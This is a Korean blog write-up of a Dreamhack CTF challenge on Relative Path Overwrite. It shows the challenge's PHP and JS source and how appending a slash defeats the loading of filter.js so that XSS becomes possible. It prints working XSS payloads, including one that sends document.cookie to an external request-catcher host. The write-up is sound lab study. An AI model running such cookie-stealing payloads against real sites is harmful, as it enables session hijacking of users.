[WARGAME][드림핵 CTF] Relative Path Overwrite

jckim22·2022년 12월 8일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
110/114

이번 문제는 이전에 공부할 때 풀었던 문제이다. 다시 복습 차원에서 풀어보도록 하겠다.

공부한 것을 활용하여 처음 푸는 느낌으로 문제를 풀어나갔다.

아래는 서버 코드이다.

index.php

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div> 
</body>
</html>

report.php

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>

<form method="POST" class="form-inline">
    <div class="form-group">
        <label class="sr-only" for="path">/</label>
        <div class="input-group">
            <div class="input-group-addon">http://127.0.0.1/</div>
            <input type="text" class="form-control" id="path" name="path" placeholder="/">
        </div>
    </div>
    <button type="submit" class="btn btn-primary">Report</button>
</form>

vuln.php

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

filter.js

var filter = ["script", "on", "frame", "object"];

코드를 분석하기 전 웹 사이트를 분석해보겠다.

vuln페이지에 들어가서 param에 아무 문자나 입력하면 화면에 출력을 해준다.


그대로 아래처럼 script를 입력하면 nope !!이 출력되면서 필터링 되는 것을 알 수 있었다.

그럼 이제 코드를 살펴보자.

var filter = ["script", "on", "frame", "object"];

위처럼 filter.js라는 파일이 vuln페이지에서 로드가 되고 있었다.
물론 다른 방법으로 우회하는 방법이야 있겠지만 일반적인 xss로는 시도할 수 없다는 것을 알 수 있다.

주목해야 할 것은 filter.js가 어떤 경로를 기준으로 로드가 되고 있는지다.

현재 filter.js는 resource를 읽어오는 과정에서 Host가 포함되지 않은 URL인 Relative URL 이다.
현재는 http://host3.dreamhack.games:prot/filter.js 의 경로로 파일을 불러오고 있다.
하지만 filter.js가 아닌 /filter.js의 경로로 파일을 불러오게 된다면 파일의 경로는 절대경로로 인식하게 된다.

이 방법을 사용하기 위해서는 index.php를 불러올 때 뒤에 /를 붙이면 된다.
일단 아래처럼 index.php를 불러오게 되면 서버는 똑같은 페이지를 로드하게 된다.

그리고 sorurce를 살펴보면 정상적으로 filter.js가 로드되어 있다.

하지만 index.php뒤에 /를 붙이게 되면


위처럼 filter.js는 절대경로에서 로드되게 되고 당연하게도 그런 파일은 없기 때문에 로드 되지 않는다.

그럼 이제 script가 필터링될 일은 없다.
아래처럼 자유롭게 script를 삽입을 시도할 수 있다.

index.php/?page=vuln&param=<script>alert(1)</script>

하지만 위에 코드는 실행되지 않았다.
이유는 저번 기억을 되살려 보았을 때 DOM에 관련된 이유라고 하였는데 좀 더 공부해봐야 하겠다.
아무튼 script 말고도 xss의 루트는 매우 많다.

아래처럼 img로 xss를 시도해보았다.

index.php/?page=vuln&param=<img src="" onerror=alert(1)>


성공적으로 alert가 실행되었다.

이제 report 페이지로 가서 임의의 사용자가 나의 서버에 요청을 보내는 시뮬레이션을 해보자.

index.php/?page=vuln&param=<img src="" onerror=location.href="https://sqihcgf.request.dreamhack.games/"+document.cookie>

위와 같은 코드를 report에 제출하면서 나의 서버 툴에 요청을 보내게 했는데 아래처럼 url에는 flag가 딸려오지 않았다.

그 이유는 코드를 조금 더 분석하면 알 수 있었다.
내가 post 메소드로 보낸 페이로드는 인코딩 되고 있었다.


+는 인코딩 되면 공백이 되어버리기 때문에 +를 인코딩하여 %2b로 바꾸어준다.

index.php/?page=vuln&param=<img src="" onerror=location.href="https://sqihcgf.request.dreamhack.games/"%2bdocument.cookie>

그리고 위와 같은 익스플로잇을 제출하면


성공적으로 flag를 얻을 수 있다.

profile
개발/보안

0개의 댓글